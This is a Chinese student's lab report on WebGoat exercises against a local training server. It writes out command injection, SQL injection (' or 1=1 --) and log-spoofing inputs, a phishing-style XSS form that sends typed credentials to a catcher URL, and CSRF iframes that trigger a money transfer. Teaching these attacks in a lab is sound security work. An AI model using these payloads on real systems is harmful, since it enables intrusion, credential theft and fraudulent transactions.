• 2018-2019-2 20165325《网络对抗技术》Exp9 Web安全基础


    2018-2019-2 20165325《网络对抗技术》Exp9 Web安全基础

    实验概要

    安装Webgoat

    SQL注入攻击

    XSS攻击

    CSRF攻击


    安装Webgoat

    参考其他同学的安装流程,下载安装包:https://github.com/WebGoat/WebGoat/releases/tag/7.0.1

    执行命令:java -jar webgoat-container-7.0-SNAPSHOT-war-exec.jar运行Webgoat

    如图信息: Starting ProtocolHandler ["http-bio-8080"]表示启动成功。

    在浏览器中输入http://localhost:8080/WebGoat

    使用下方的admin账户进行登录:

    登录后如图所示。


    SQL注入攻击

    1、进入网页点击Injection Flaws- Command Injection

    右键inspect Element,找到一个标签,注入代码:"& netstat -an & ipconfig"

    在点击view提交时候看到网页发生了变化:

    注入的指令被执行,并且我们看到了效果,如上图所示。

    2、数字型SQL注入(Numeric SQL Injection)

    在左侧切换。

    能看到,正常情况下点击go只是查询到一个这么一个信息,目标是注入之后能看到数据库中所有的信息。

    这样的方法可能用于在访问网站时,非法地访问其他的数据。

    成功以后是这样的:能看见所有的数据

    注:在这里我发现一个问题,实际上我一开始是失败的,提示是这样:

    可以看到失败了。

    原因是之前成功了一次,由于之前我的环境有问题,我拷贝的是别人的虚拟机来完成本次实验。

    可以看见上面的语句,当我们成功一次之后,可以看见网站上面显示:

    Bet you can't do it again! This lesson has detected your successful attack and has now switched to a defensive mode.
    

    emmmm他开启了防御模式。

    我试着找这前后的html哪里不一样,我没发现明显的区别,可能是我找的不够仔细,但是我觉得,他应该是新加入了一个js来实现这个功能吧?(但是提交表单的地方没什么不一样的好像)

    那么如果想再来一次就点击一下界面上面的restart lesson。

    3、Log Spoofing

    这提示说:Your goal is to make it like a username "admin" has succeeded into logging in

    ???

    make it like ???

    在输入框输入20165325%0d%0aLogin Succeeded !admin

    如图所示,那么我想问这有什么用呢?

    PS:回车0D%和换行符%0A

    4、String SQL Injection

    输入' or 1=1 --

    成功了,(这样就成功了很明显他这个防护惨不忍睹)

    然后他告诉我又开启防护模式了,应该和之前一样的。


    XSS攻击

    1、点击进入Cross-Site Scripting (XSS)

    进去之后先看要求,首先是要求我们写一个登录认证界面,然后能用js显示并且传给后台。

    相关的代码:

    <script> function hack() { alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+document.forms[0].user.value + "&password=" + document.forms[0].pass.value + ""; } </script> <form> <br><br><HR><H3>This feature requires account login:</H3 ><br><br> Enter Username:<br><input type="text" id="user" name="user"><br> Enter Password:<br><input type="password" name = "pass"><br> <input type="submit" name="login" value="login" onclick="hack()"> </form><br><br><HR>
    

    代码如上,首次提交时会产生下面的登录框,如果有人不小心输入用户名密码并且提交,相关的信息会被js显示出来,当然js做的可怕一点可以直接记录下来用户名密码就行。

    2、Stored XSS Attacks

    输入<script>alert("20165325 attack succeed!");</script>

    相对于来说比较简单的。


    CSRF攻击

    1、Cross Site Request Forgery

    查看右边的表格src为322,menu为900

    攻击成功之后会使用用户不可见的连接发送一个url,这里的情景是用别人的账号转走钱:

    url:http://localhost:8080/WebGoat/attack?Screen=322&menu=900&transferFunds=5000

    2、CSRF Prompt By-Pass

    输入

    <iframe src="attack?Screen=324&menu=900&transferFunds=5000"> </iframe>
    <iframe src="attack?Screen=324&menu=900&transferFunds=CONFIRM"> </iframe>
    

    效果如下:


    问题回答

    SQL注入攻击原理,如何防御

    检查用户输入,避免特殊字符。写语句更复杂,数据库设置操作权限。

    XSS攻击的原理,如何防御

    核心应该还是检查输入,检查用户输入的内容要严格把关。

    CSRF攻击原理,如何防御

    cookie的管理应该严格,控制网站对cookie的使用权限,严格设置cookie的域。

  • 相关阅读:
    chrome的javascript 中的一个奇怪现象,引申到javascript的interger存储机制,ECMA standerd script的int engine分析
    php中的header("Location:URL") 与 javascript中 window.localtion 的区别
    test
    str_replace() 中的参数 类型、反反斜杠
    从PHP代码分析PHP 的GC(垃圾回收) 机制
    分离
    fiddler 监听某一站点
    PHP中对象的clone和引用的区别(Object Cloning and Passing by Reference in PHP)
    IOS使用MessageUI Framework 发送邮件
    IOS使用MessageUI Framework 发送短信息
  • 原文地址:https://www.cnblogs.com/maxeysblog/p/10923939.html
Copyright © 2020-2023  润新知